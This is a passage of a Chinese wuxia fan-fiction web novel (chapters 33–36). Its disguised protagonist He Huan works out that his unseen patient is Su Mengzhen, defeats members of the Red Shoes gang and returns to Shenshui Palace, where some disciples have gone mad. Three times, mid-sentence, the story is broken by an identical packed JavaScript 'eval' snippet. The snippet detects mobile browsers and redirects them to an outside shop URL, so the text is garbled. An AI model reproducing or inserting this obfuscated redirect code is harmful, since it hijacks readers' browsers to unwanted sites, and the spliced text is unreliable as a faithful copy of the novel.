何欢有些惊讶:“你怎么会这么认为呢?我只是不放心将你交给别人,” 上官飞燕冷笑:“你以为我会相信你说的话?” 她压低了声音,“你知不知道,你在我面前是一个样子,在花满楼他们面前是一个样子,在这个温柔面前又是一个样子。你像一面被摔在地上摔破的镜子,我跟在你身边,看着你演戏就觉得好像看见你脸上有无数条裂纹,让人作呕。只和你同行了几天我就恨不得去死,你说,究竟有谁能长久的和你待在一起?” 何欢脸上温和的神情消失了。 那张脸没有情绪波动时,更像一张虚假的面具,与人相似有截然不同,盯得久了就会生出一股由内而外的胆寒之意。他转过脸来,认真的注视着上官飞燕。 上官飞燕本来只是想惹怒他,想要套出他今后对自己的安排。如今真的看他完全换了一副面容,又开始害怕。 上官飞燕听到的最后一句话是:“有这么明显吗?” …… 何欢摸着自己的脸,很是发愁。 果然还是因为参考的人物太多,让何缨看起来有些诡异了吗?树木本身就不擅变动,易容好学,塑造出另一个“人”却不容易。尤其是何欢前二十年根本没有感同身受代入过的女子。先前被苏樱点出之后,他明明已经尽量注意了,但,还是力有不逮啊…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14173082|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在彻底定性之前,易容成何缨时,还是多加注意,少和其他人相处太长时间为妙。 何欢没有想到,即使他已经刻意减少与旁人的相处,因为江湖人热衷于谈论某些风流人物的成名事件,何缨也会被时时拉出来点评一番。 久而久之,江湖上会传出神水宫新任宫主神出鬼没、阴晴不定、喜怒无常、决不能招惹的名声,为神水宫减少了许多麻烦。 这是后话。 不过,上官飞燕看他时的割裂感,也不完全来自于何欢本人。相反,她自己的态度占很重要的一部分。 这就要说到在王怜花和沈浪等人身边的那几年。 王怜花信奉的是宁肯我负天下人那一套,只要在别人背叛我之前,我先背叛别人,就不会有人能够伤害到我。 沈浪听王怜花教孩子教了两天,忍不住出手将他说什么就信什么的何欢拉至身后,开始和王怜花“辩经”。 “你都在教他些什么,好好的孩子让你养歪了。” “怎么,我说的不对吗?你这样聪明绝顶的大侠,也会被那些汲汲营营的武林中人算计,小笨蛋本来就没脑子,要是再养的纯良,怕不是丢到江湖上就被狼吃了!” “那王公子可谓是聪明绝顶,按这一套不也落了个孤家寡人的下场?” “……” “我失言了,抱歉。”沈浪看王怜花半晌不语,率先道歉。 “哈,你承认你说错了!果然还是要听我的!” “……” 你来我往。何欢听的云里雾里,最终他们各退一步,让何欢低调、谦逊行事,但也不能被欺负,要以德报德,以怨报怨。 何欢从来都是这么做的。 吱呀一声,打断了何欢的思绪。 他推开客栈的门,往隔壁看去,正好见到蹑手蹑脚回客栈的温柔,看见他露出心虚的笑容。 “好妹妹,怎么这么晚了还没有睡?” “原本要睡了,只是深夜有一些饿,想去看看有没有什么吃食。” “好巧,我也没吃饱,不如一起去后厨看看?” 何欢欣然接受。 温柔犹豫半晌,还是在她们去后厨的路上小声跟她解释,“我今天本来打算去找那个药师,结果却听说我师兄生病了,就……” “温姐姐,你不用和我解释的,”何欢笑道,“本来道开封也是因为你要去见你的师兄,而我要去找药材,没有要为了我的事耽误你的事的道理。” 温柔这下脸又红了,她说:“明明是我答应了要帮你,结果消失了一天,让你好等,你还这么体贴我……缨妹妹,你这样行走江湖只怕要吃亏呢。” 她拉住何欢的手,“是我的不是,明天我就要把开封最好的药材送到你门口……哦,我师兄要用的除外。” 温柔竟然会跟人认错,温柔竟然真的可以表现的这么温柔。 倘若是白愁飞和王小石见了,只怕会又惊讶又要好好调侃她一番。 然而在这里的是何欢,他只会用一双仿佛会说话的漂亮眼睛望着温柔,然后诚恳的对她说:“谢谢温姐姐对我这么好。” 温柔感觉自己的脚踩在了棉花上。 34.第 34 章 树大夫问自己的徒弟兼儿子:“回来了?见到何公子了吗?” 树栾放下手中的纸和黑木匣,“哪有什么何公子,只有一位何姑娘。” “嗯?”树大夫一愣,“我怎么没听小何说过他还有个妹妹?” “怎么,相交一场还得被你调查个底儿朝天么?人家连咱们姓什么都不知道,还问你打不打算在外面开药堂呢。”树栾抱怨道,“你下次撒谎之前能不能记得和我通个气?我差点没暴露了。” “唉,这不是当时小何问的急,我又不能暴露身份……”树大夫叹了口气。 他想到当时宫里刚刚放值,结果一出宫门就被荣王世子拉去王府,说他有个朋友最近在钻研医术,想要个好点的老师,他认识的医术最好的大夫就是树大夫,希望树大夫能教教他的朋友。还千叮咛万嘱咐,不要说是他介绍的,只说机缘巧合就好。 树大夫不敢不同意。这可是皇帝一母同胞的弟弟荣王的孩子、最疼爱的子侄。他一向骄纵,哪怕蔡京蔡相见了他,表面上都要礼让三分,更何况树大夫一个太医。 树大夫同意时,已经做足了看见一个酒囊饭袋纨绔子弟拿他消磨时间的准备,却没想到,遇上了可以说是神之一手的何欢。 可以看得出来他已有师承,只是如今需要保守派佐证。教他医术的老师应该是医毒不分家的江湖人士。他手法之大胆,树大夫一开始简直要被他吓到眉毛。但是细细琢磨,又觉得其开药时分量掌握之精准、药性配合之巧妙,可以说是天赋异禀。 一旬后,树大夫摸着胡须愁眉苦脸,“老夫还有什么可教你的……” “您已经教授我良多了,小子不胜感激。” 树大夫上下打量他,良久,叹了口气,“你要是我的徒弟就好了。”他话出口,又觉得不合适。将这样的年轻人拘在宫里当个太医,和把白鸟困在笼中有什么区别,因而,他又摇了摇头,“以你的能力,在哪里都能过得很好。” “林老谬赞了。”最开始见面时,树大夫并没有说出自己真实的姓氏,只谎称姓林。后面按照他的观察何欢对开封并不熟悉,应当也不知道他树大夫的名号,但谎言已经说出去了,他很难拉下老脸来纠正。 从今天开始,我在宫外就有化名了。树大夫摸着胡子如是想到。 他又看了看何欢拟的方子,突然想起一个人。 “老夫虽然没什么可以教你的了,但还有一例奇案可以供你参考。” 这一医案,他本无意向任何人透露,不过以何欢的年纪和天赋,假以时日说不定真的能治好这个病人。既然如此,如今就给他看一眼也无妨。 树大夫凝神静气,挑挑拣拣把合适透露的情况写在了纸上,何欢待他搁笔才凑过来,捧起这张密密麻麻写满苛疾与奇毒的纸。 许久,何欢长叹一口气,“果真顽疾。只怕很难治愈。” “是啊,这人能活超过三年我已……什么?”树大夫没听清似的,“你说……很难治愈?小何你已经想到治愈的法子了吗?” 何欢一愣,他犹豫道:“林老您也知道,单靠这张纸我没办法完全了解病人的病情,只是觉得这里,”他指着其中三种毒道,“他身上的毒越来越多,可以看出是以毒攻毒的用法,用药者只想平衡其身上的病灶,却没想过后续要如何收尾。” 说到这里,树大夫额上有冷汗滑过——的确如此,当时那人身中奇毒,伤到本就严重的肺部,树大夫只得兵行险着,先将这毒压制下来,只可惜他本人对毒经钻研不够,后面只能作亡羊补牢。而那不听话的病患还天天饮酒熬夜与人动刀子,每次找他都是救命,更让他难以沉下心研究如何破解这难题。 久而久之,就变成了一团乱麻。 何欢却没注意树大夫既心虚又生气的神情,他沉浸在自己的世界里,“要除去他体内容易伤及根基的几种毒,又不能打破现有的平衡,我认为可以用……”他喋喋不休,说出来的几种药材树大夫作为御医都没听过,不禁有些心惊。 最后,他意犹未尽道:“等这六种毒彻底拔除之后,就可以温养他的肺经,便于后续疗养,我曾在云南听闻本地有一味奇药,名为‘冬虫夏草’,可以清肺排毒……” “咳,小何啊。”树大夫开口。 “啊,我失言了,林老听来这施药的方法是不是又过于粗犷了?” “不不不,那个……我是想问,你方不方便见一下这个病人?” …… 第二天,树大夫轮休,去看金风细雨楼中,好不容易脱离生死边缘的苏楼主苏梦枕。 苏梦枕正躺在软榻上,翻看今早送来的情报。见树大夫来了,他将情报反手放在桌边,挡住放在下面的酒坛。 树大夫进来,就听见这个满身是病的病患神情自若的与他问好。他躺在榻上,并未束发。乌木般的黑发越发显得脸庞清瘦而苍白。病色已经渗到这个人的骨子里,他却仍然毫不在意似的,操劳忙碌……还饮酒。 “你下次挡住酒坛子之前,记得你的卧房并不通风,酒味已经要把你腌入味了。”树大夫面无表情。 他替苏梦枕把脉,仍不见好转,不禁叹一口气,“这回他没到开封府来,来的是他妹子。你这病,还得拖一拖。” 苏梦枕微微一笑,不置可否。 大约三年前,树大夫兴致勃勃说有个人或许可以治他的病,可惜他当时已有计划,不能耽搁。大约一月之后,他再回金风细雨楼,树大夫遗憾道那人已经离开开封了。再后来,金风细雨楼与六分半堂僵持不下,且六分半堂隐隐占据上风,苏梦枕不愿牵扯其他人进来。 “那位小友上午进了金风细雨楼的门,下午六分半堂就会请他去做客。他与您不同,除非他一直留在金风细雨楼,不然,我也难以护住他。”苏梦枕如是说道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176999|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 树大夫也明白过来,只好作罢。 那位名叫何欢的小友,却极为豁达大方。他将开好的方子留给了树大夫,还答应替他去寻开封也难得的几味药材。却只用了简单的收购药材作为交换。如此不同寻常的交易,换做雷损可能疑窦丛生,但苏梦枕疑人不用,用人不疑,直接让树大夫在他身上施药。 只可惜,不知是不是没有亲眼见到他真人的缘故,这方子虽强过之前,树大夫仍觉得不理想。而且有些重药,树大夫难以决断,每次都要等那人来好好商议一番才行。 这几年断断续续,苏梦枕的病好了一些,又因为好了所以更加夙兴夜寐,总而言之,难以治愈。 近日,金风细雨楼隐约有压六分半堂一头之趋势,苏梦枕已有把握护住何欢的行踪,正想趁今年何欢来,坦白他这位素未谋面的“病人”身份,却不料,何欢今年没有亲自前来。 “或许仍不到见面之时。”苏梦枕道,“那么,今年还是按照往常一样,按进价将药材给那位何姑娘,此外,再让茶花送一辆马车给何姑娘。” “不然,直接邀请他过来吧?”树大夫道,“你这病一拖再拖,要拖到什么时候?指不定哪天……” 苏梦枕正色:“他已经帮了我的大忙,我尚未回报。怎能再用我的事千里迢迢去麻烦人家。” 就在这时,温柔推门进来,恰巧听见这话,她讶异:“好巧,我昨日刚刚听过差不多的话。” “是你新认识的那个朋友?”苏梦枕昨日已经听她呶呶不休一个时辰,她的那个新朋友有多么的貌美、可爱、体贴……她说起那个朋友的时候,简直不像是苏梦枕曾经认识的小师妹。 “如果不是看着你长大,我会以为,你是个男扮女装的、动了春心的小子。”苏梦枕慢条斯理道。 温柔瞪了自己的师兄一眼,“哼,你这种遍地是兄弟的人,怎么会懂那种遇到了天底下最最合拍、最最好的朋友,只想着她,也只希望她想着我的感觉。” “你们女孩子家的感情,太奇怪了,我认为,我也不需要懂。”苏梦枕轻咳两声,调笑道。 温柔不想理他了,转身看向树大夫:“树大夫!好巧遇到你,我想问问,你知不知道什么能大量批发药材的地方?我来付钱,要很好很好的药材!” 树大夫笑着叹了口气:“你与其问我,不如问你师兄。” 温柔大声道:“我才不问他,他要不就说我不懂事,要不就随随便便送我一些,不让我花钱。” 苏梦枕接道:“这你倒猜错了。我正好要遣茶花去调一份药材送礼。你送上门来平账,我岂有不收钱的道理。” 温柔不以为怒反而做理所当然状:“可以,没问题,就按你送礼的那份规格来,本小姐有的是钱。” 虽然这么说,他们都知道,对方不会让自己吃亏。一时之间,小楼中充斥着难得的温情。 35.第 35 章 “林大夫送的马车?”何欢迟疑片刻,还是点头,“没想到他考虑的如此周到,请恕我时间紧张,无缘拜访。还望侠士替我转达谢意。” 赶车前来长相幼态身形高大的汉子腼腆的点了点头,翻身下马车,冲他一拱手转身离开。 何欢看向马车,有些无奈。 他所修习的法术之中,有一门五鬼搬山术。施法之后,便会淡化这些物品在外界的存在,随后收纳在方寸空间,等到需要时取出。以往若要拿些不便携带的东西,只消在他人看不见的地方使用法术就可以。无论是前几年拿药材、给神水宫的弟子们买饰品、还是之前搬家带着小黄,都是如此。因此,并不很擅长御车。 马车前的两匹马儿眨着温顺的大眼睛,无辜地望着他。他摸了摸左手边那匹马的鬃毛,在心中暗叹道:这马养的甚好。他对所有通人性的生灵都十分喜爱,右手在袖口中一探,掏出一颗分成两半的蜜桃,悄悄喂给了马。 如今这辆马车就跟着他回神水宫罢。 他进车内,一一打开柜格查看药材,满意的点点头——品质可谓是一如既往的好,分门别类的放好也让人心情愉悦。 这辆马车外表看上去除了大以外平平无奇,内部却别有洞天。不说做工严实紧密、用了名贵木料的药柜;连座位上放置的毛皮垫子都是精心鞣制过的。摸上去格外柔软,还带着一股独特而无害的草药香。车内的帘子有里外两层。内层是可以透光的月白纱,外层则是相对厚重的绒帘,时值秋冬交际之时,能起到很好的挡风作用,正合适。 从这手笔来看,不像是一向勤俭节约的林老所为,倒像是…… 某位许久不见,爱穿蓝色劲装、家世显赫的少侠的面庞,映入何欢脑海。随即,他又否认了自己的想法。一来,对方不像是那么体贴的人,就算送也只会送显眼又奢华的马车。二来,他们许久未见,那位少侠如今已经忘了何欢一个普普通通的调香师也未可知,又怎会耐心帮一个素昧谋面的、自称是何欢妹妹的人准备马车。 多思无益。他吩咐店小二帮他把马车驾到客栈后院,给他一枚银稞子,让他照顾好两匹马。小二点头哈腰,满心欢喜地接受下来。他正欲往大堂去,就听见外面传来温柔兴高采烈的声音:“好妹妹,你看我给你送什么来了?” 这两日相处,何欢已摸清温柔的性子,知道倘若她看见这辆马车和车里的药材,不出意外会大大发火。可如今使用五鬼搬山挪空药材,时间上又捉襟见肘。思及此处,他加快了脚步迎上去,碰面便握住温柔的手。 “好巧,我正想找姐姐呢。昨日我在开封府中闲逛,找到一家饮子店,里面卖的饮品别致极了,正想约你今日同去。” 何欢借着此机会挡住温柔的视线,转移她的注意力,顺势向她身后看去。温柔后面跟着几个肌肉遒劲的大汉,每个人手中都抱着垒的高高的……用料做工都极为眼熟的金贵木匣——方才在马车上巡视一遍,何欢对此工艺已经了然于心。 电光火石之间,他已经将林老、林老口中提及过的那个病人、温柔的情报、以及她此次来开封要找的那位师兄的身份串联在了一起,得出结论。 原来三年前我给出药方的那个病人,竟是金风细雨楼的苏楼主。原来这几年一直为我提供药材的,也是苏梦枕。 何欢对此人早已有所耳闻,一向钦佩他的所作所为。只是没想到,原来早在多年前,他们两人便已有了交集。 温柔拉他去看这些药材,果然,处理手法和品质也与之前那批如出一辙。 “谢谢你,这下可帮了我的大忙了。真不知要怎么感谢你才好。 ”何欢诚恳道。 温柔的脸上泛起两朵红云,“一点小事而已,你我是好姐妹嘛,何须客气。若真要报答,不如……就请我去你刚刚说的那家饮子店,尝一尝他们店里的特色。” “这可便宜我了。”何欢揽着她一边往外走,一边又问,“那么,就让这些人把药材放到二楼去?” 温柔点头:“都听你的。”无形之中化解了一场可能会有的矛盾,还确认了某个人的身份,何欢心情甚好。 待第二日要离开开封,先一步将昏迷的上官飞燕放到马车里,何欢还在想,是否要将手中新拟的医案放在清茗阁。 先前那份医案,是在林老的说明下。针对普通武林中人所开。于功法独特且殚精竭虑的苏梦枕而言,便有几处不合适。可那边一直没有透露自己的身份,可能是安全起见,并不想让何欢知晓病人就是金风细雨楼的楼主。这样针对性过强的修改,对面会不会生起疑心,反而不用这份医案了?更何况,此次来的何缨,应当是对这些一无所知的。 最终,何欢叹一口气。将手中信纸收了起来。还是过段时间找个借口,以何欢的身份再来一趟吧。 他坐上车,有些笨拙的牵着缰绳轻拽,马儿得指挥,慢慢踏步向前走去。 长路漫漫,上官飞燕悠悠醒转,才发现自己正在一辆颠簸的马车之中,身旁空无一人,唯有浅淡的草药香气。有那么一个瞬间,她还以为自己之前所经历的一切都只是做梦,现在才正往寻陆小凤的路上,可随后从前方不紧不慢传来的声音,打破了她的幻想。 “醒了?右边桌子上有点心,吃一点吧。不要碰其余的东西,我撒了毒药。” 上官飞燕:“……” 她恨恨拿起盘子里的糕点开始吃。 何欢笑道:“再过半个时辰就要出豫州境内了,你的姊妹可真是沉得住气。” 上官飞燕闻言心中一惊,含糊道,“你在说什么?我怎听不明白。” 何欢没有理会她,继续自顾自道:“明明是红鞋子自己的地盘,你还一路留了印记。如今还不追上来是为什么?因为她们觉得还是韬光养晦更为重要,不值得在当前招惹更多是非?又或者……她们还没有追查到青衣楼总瓢把子,现在到底落在了谁的手里?” “如此看来,你远不如霍休在她们眼中重要啊。”何欢喟叹一句。 上官飞燕从一见面就知道何欢此人不好相与,可没想到他如此沉得住气。先前她一边装作蠢笨的求救、一边在所经地方做了标记的事情,他全看在眼里,可从未拆穿……不妨说,他等的就是红鞋子的其他成员前来,搭救上官飞燕。 哪怕上官飞燕十分想要得救,今也生出一股逆反心理。想着,还不如大家都别来救我,好叫他的算计落空,届时再让我看看他会是什么表情。 哪怕内心再纠结,上官飞燕也改变不了什么。她现在所能做的,就只有等一个结果。 晚秋正午的日头曝晒,叫空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14204383|148484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气都变得干燥。有路边的扬尘。在空气中伴随高低不同的热浪起伏。而马车正前方,一位穿着青衣的蓄发女尼,静静地站在道路中央。 “吁——”何欢勒马。 那女尼面貌生得清丽,面上似有薄愁笼罩,看起来好不哀戚。 何欢坐在车轼上,上下打量那女尼。 那女尼也不恼,低声问,“女施主,我九妹可在你车上?” 一把娇俏的女声自车后传来,“六姐,你同她多什么话?先把她手筋脚筋挑断,再劈开马车不就知道九妹在不在了嘛?” 何欢叹气:“好毒辣的手段,只听两位的形容,我便害怕极了。” 上官飞燕坐在马车里,紧张的指甲都陷进肉里,她不解,这两人在外面废什么话?为什么不直接埋伏起来动手,偏偏要暴露自己的位置。 站在马车后的红衣少女抱胸而立——并非是她不想动手,而是站在前面的青衣女尼一定要先礼后兵,她与这个九妹一向合不来,也乐的看她多受点苦头,索性听之任之。 前面,青衣女尼与何欢还在倾谈。 “我无意为难姑娘。只要你愿意将九妹放出来,一切都好商量。” 看样子他们好像同陆小凤一样,将青衣楼总瓢把子失踪一事,归咎到幽灵宫身上。并未看出何欢参与其中。 何欢沉默片刻,转头提起另一件事来,“我听哥哥提起过你。只是上一次,你好像还是一位想要挽回丈夫的可怜妻子。怎么那么快就出家了?” “看破红尘之后,就觉得跳脱红尘之外,才能找到安身立命的居所。”她说谎时,脸上的表情也正经的紧。这话说出口后,犹豫了一会儿,脸上带了些惆怅,又问,“不知道你哥哥最近还好吗?” “他挺好的,四肢五官都健在。你既挂念他,不如跟我一起回家去看看他?” 青衣女尼面露惊诧,好似不曾料到她会拿这件事说笑。没有正面回应何欢,她只低声道,“知道他好,我就放心了。原本是我不对,害得他离开洛阳,被组织悬赏……这段时间,他一定不好过吧。” 何欢本来以为她是红鞋子中仍有良知的一员,却不想从她的话语中,竟听出伪善和表演的意味——这个人,才是真正的表里不一,在男人面前和女人面前,表现得也天差地别。 她好像在道歉,又好像在炫耀。炫耀自己曾经的所作所为、炫耀她让某个男人担惊受怕、又或者是牵肠挂肚。早该从她化身少妇去诱导他人犯错就该知道,这女人从一开始,嘴里就没有一句话是真的,字里行间中流露出的感情也是一样,是全然的伪装。 她像将带有麻醉和致幻效果的毒液注射到人皮囊之中的毒蜘蛛一样,先是诱惑敌人,随后发起攻击。在男人以为她的狩猎已经结束、放松心神之后。才意识到已经走入她设置好的铺天盖地的网。直至最终毒液发作,皮囊中的一切都变成她可以吸收的养分、可以炫耀的战绩。 有些人的心,果然险恶到难以揣摩。何欢微微蹙眉,他直白发问:“你好像真的很喜欢让别人担惊受怕。” “我有么?”青衣女尼不解,她也蹙着眉,“我只是将这世道曾经施加给我的东西,反馈回去。” 她终于直视何欢的双眼,微微一笑,如天光破晓,“原来,他们会害怕么?” 36.第 36 章 “我难道有错吗?”她望着何欢,好似在诚恳的询问,“何姑娘,我知道,你的哥哥,何公子他是个很好的人。可是,这难道不是因为这个世道对他一直很好吗?他什么都有,所以什么都不在乎。我只要看着他,就会自残形愧,我真讨厌这样——明明不是我的错,不过是老天特别偏爱男人,爱蹉跎女人……你不这样觉得吗?” “……”何欢的手指在木缘上轻敲,看起来是在思索她刚刚的一番话。 何欢的沉默被她当成认可,她眼中流露出微小笑意,顺着眼角细微的纹路逐渐晕染到整张脸上,“红鞋子不一样,在这里……我们才是决定者,我们有权让自己过得越来越好,也有权利去惩罚那些傲慢的男人,何姑娘,换个角度思考吧。像你这样强大又美丽的女孩子,本就应该高高在上的俯视那些男人。你,属于我们这边。” 何欢缓缓道:“或许,你说得对。” 青衣女尼的笑还未彻底绽放,就听见他继续道:“或许男人行走江湖的确占了便宜,而女子向来不容易。但若真想改变这局面,就应该挥刀向更强者、向这世道的掌管者。而不是将刀锋对准弱者,除了满足自己的私欲,改变不了任何局势。甚至,你们的傲慢会让事态向更糟糕的方向发展。” “红鞋子从来不是为了拯救弱小者出困境,而是为了炫耀自己的强大。”何欢言毕,从车上抽出一把剑。 他持剑而立,“动手吧,我与你们,从不是同路人。” 强大之后、站在更高的地方,是为了俯视旁人吗?他已经见过正确的道路,所以不会犹豫。 神水宫的剑法,是水母阴姬功法大成之后,仍旧不断雕琢的一本基础剑法。正是为了让门下女弟子更好入门,弥补先天经受苦难而造成的柔弱不足之躯。方便她们日后行走江湖、锄强扶弱。她言传身教,何欢手中剑之所向,并不是为了彰显自己的强大,而是为了护住受难之人。 剑风在柔,在春风化雨、造化间生生不息。青衣女尼一对短剑难以抵挡,红衣少女的长鞭自身后如蛇般咬来,何欢与青衣女尼错身时左手反手绕鞭,顺势卸掉鞭子力道。 在红鞋子两人看来,漆皮黑鞭死死缠绕在雪白衣袖上,好似限制住了他的行动,正是合击的好时机。何欢低身躲过青衣女尼一刺,说迟但快,他臂上鞭子已经散开,一只素手握住鞭尖,捆住了青衣女尼的手腕。红衣少女还不知他们之间局势已变,仍在发力。 青衣女尼大叫一声:“七妹!” 未待少女反应过来,已经被一股大力拉至何欢剑尖附近,再一寸就要命丧黄泉。 风卷起何欢雪白的衣袖,路边泛黄的树叶悄然飘落,被神水剑法漫卷之力吸至冰冷剑锋上,又缓缓落地。 尘埃落定。 “你不杀我们?”被绑的像三个粽子一样躺在马车里,三人面面相觑,终于红衣少女受不了,率先发问。 “我心中仍有疑问未清,只恨自己不过千虑一得,恐有疏漏,还需带你们去见一个顶聪明的人。” 他说的这人,自然就是水母阴姬。红鞋子组织看似不过普通小组织,但仅上官飞燕一人,就叫何欢察觉红鞋子与杀手组织青衣楼和六扇门都有牵连。这个组织像是用不起眼体型隐藏剧毒的蜘蛛,织就密密麻麻的蛛网,连接着看似无关紧要的一切,而硕大蛛网背后,则是容易让人忽视的、滋生阴谋的角落。 以何欢一己之力,对此难以全面掌控。还需借神水宫的势力和手段。 此外,三月之期将至,饶是他并非常人,这段时间的易容与缩骨也让他感觉着实逼仄。只盼回去后,他的答案能让水母阴姬勉强满意,允他恢复原本身形。 车轮滚滚,黄土漫漫。苏楼主送的马看似普通,实则恢复力与耐力均极强,是驾车良驹,丝毫不用何欢多加照顾。这天天擦黑时,他们赶到了神水宫所在。 将红鞋子三人绑成一串,蒙好眼睛,封住五感,何欢牵着他们步入山路。 正值深夜,山谷中万籁俱寂。何欢脚步轻快,身后三人苦不堪言。他们被封住内力,脚下便更没有底,踉踉跄跄勉强跟上,也被绊了好几脚。 不知走了多久,她们在一处河道附近停下。何欢先将她们放进专门走地下暗河用的木箱中,当被分开安置在木质箱子中,听见盖子盖起的声音,三女都慌了神。 饶是他们作恶多端,何欢也不想用这种方法折磨他们。大概被水母阴姬知道后又要说优柔寡断,但是…… “还不到要你们死的时候,一个时辰之内,会有人放你们出来的。” 黑暗、逼仄,动弹不得的箱子,在水中上下颠簸。 上官飞燕,在这时不自觉想起了花满楼。 原来,他过的是这种日子。 她以前从不知道,也不在意。她只在乎她自己。她生在上官家,锦衣玉食、花团锦簇,她聪慧美貌,自视甚高,便养出傲慢的个性。众人待她都很好。但即便如此,她也因为自己的待遇不如自己的姐姐,而记恨在心。哪怕是一点微小的不称意,也要记在心里。终于,她找到了报复的机会。 可这一切又有什么意义?她与姐姐的攀比,最后也不过是井底之蛙的相互攻讦。她索求的珠宝,即使能妆点仪容,在绝对的美貌面前,也不值一提。 那个穿着一身白裙,不施粉黛,也美的让人心惊的、不似寻常人物的女人。 那个看似温柔,实则傲慢、恶毒又冷漠的女人。 不,不是。她好像只对我是恶毒的。上官飞燕想。在路上,那个女人与温柔的相处,是交付了真心地。原来女孩子们之前除了相互争抢,还有这种奇妙的感情……可惜,知道这种可能的时间太晚了,而人心不足……终究吞象自戕。 在黑暗中,在绝对的寂静、未知的恐惧前,她闭上眼睛。之前,在面对西门吹雪的剑锋时,她真的是因为嫉妒才想要靠近何缨的吗? 又或者…… …… 何欢脚步轻快的向神水宫中走。 一如既往地漫步过整洁的石道,来到弟子值夜的石室。 他与值夜的弟子正对上视线,正待微笑时,却看到对方戒备的眼神。 差点忘了他此次是以“何缨”的身份出门,而众弟子对他的样貌还不甚熟悉。何欢神情柔和随意,“我是神水宫……” 没想到,那弟子却低声道:“何神女。” 这个称呼听起来似乎是对他有所不满,可是因何而起呢?莫非我在外行事出了岔子,让宫内不满了?何欢面露疑惑。 弟子垂下头颅,只道:“何神女这边请。” 何欢沉默片刻,冲她轻轻点了点头,也不再多言。 走到通道尽头,他想起上次回来时的欢声笑语,鬼使神差般向后望去。 那女弟子早已背过身去,仍旧伫立在石室中,专心值夜。何欢只能看到她在夜明珠柔润的光中投射下拉长的、瘦削而模糊的影子。 最后一步踏出,门外豁然开朗,三三两两弟子负责第二班守门夜值,原本还在门前低声交谈,听见来人脚步时齐齐抬头,却落个鸦雀无声。 “……” “是神女啊。”有一名弟子,率先起身,有些僵硬道,“神女在外奔波,一定辛苦了,我们为您接风洗尘。” “不必了。”何欢犹豫片刻,问,“怎么,最近有发生什么事吗?” 众女面面相觑,没有给她回应。 何欢垂眸想:这也是理所当然的,倘若我做了什么事让她们不满,碍于身份她们也不会说出来。南燕位高权重,大概也不知道。或许明日可以去问问阿芜。 他独自回了寝殿,正想换身衣服,饮口茶,差不多时间去接上官飞燕她们三人。没想到洗漱完就看到宫南燕坐在他房间屏风后,一副在等他的样子。 “你怎么……” 他话音未落,就被宫南燕叉着腰教训,“你这是去哪里闲逛了,让小雪给你送信让你晚回来两天愣是没送到。这下好了,巴巴回来受委屈。” 原来她已经料到何欢回来之后会被冷眼相待。“到底发生什么了?怎么看样子,连你也惊动了?母亲应当还不知晓?” “此事说大不大,说小不小,还没传到她耳朵里。”上官飞燕握住他的手,低声问,“我问你,之前你给弟子们写下的调理月信的方子,你确定没问题吗?” 何欢皱眉,“这方子我与……外头的名医,都研究过,用量精巧,药效稳定。而且走之前也让宫内掌药看过。只是简单调理身子,不涉及任何有隐患的药物和冲突,不应该出事。” “有没有可能是我们修习的功法……” “绝无可能。不会有影响。” “我也是这样认为的,但是……” 宫南燕看了他一眼,好似不知接下来的话当讲不当讲。何欢冲她颔首,“你说,我没什么不能听的。” “有几个弟子服用你那药方之后……疯了。” 何欢瞳孔骤缩。 “疯了?什么意思?是疯病吗?具体是什么样的症状?” “就是……唉,我说不出,反正已经没个人样子,嘴里疯疯癫癫的念着有的没的,还说什么‘给我、给我’……” 宫南燕看着他的脸色,犹豫道:“其中,疯的最重的,就是之前和你要好的那个女弟子,阿芜。” “不可能是因为这方子。”何欢斩钉截铁,“是其他原因,查证的方向不对只会耽误她们的病情。” “方子已经交由万秀去调查了,包括和弟子们日常所服用的食物药方有没有相冲都要调查,所以我让你晚两天回来,结果你……总之,现如今,她们都很是慌张,对你可能也有些微词。” 何欢沉静道,“我这种突然蹦出来的神女,她们不相信也是正常。尤其又出了这样的岔子,遭她们警惕是在所难免的。当今之重是查明病因,先让我去看看阿芜,我的医术还可以。” “……” “怎么,你以前可是有话直说的,怎么这次总爱欲言又止。”何欢已经起身,见她仍旧不动,面上难看,心中疑云顿生。 “没有,只是……” 宫南燕似乎知道自己做的有失偏颇,声音放低:“只是她们说,阿芜的疯病会传染……为了避免人心动乱,我先把她安置在卞水阁了。” 何欢不由得按了按自己的眉心,“卞水阁?她已经病了,好生安抚才是,怎么能送到那种与人隔绝的地方?” 卞水阁原本是女弟子们因为好奇开垦的菜园,结果因为没有阳光,翻过土地耕种月余便戚戚作罢。至此,变成了再没有人去过的荒废院子。 “罢了,先带我过去吧。” 卞水阁临近神水宫边缘,两人施展轻功也是一炷香功夫才到。 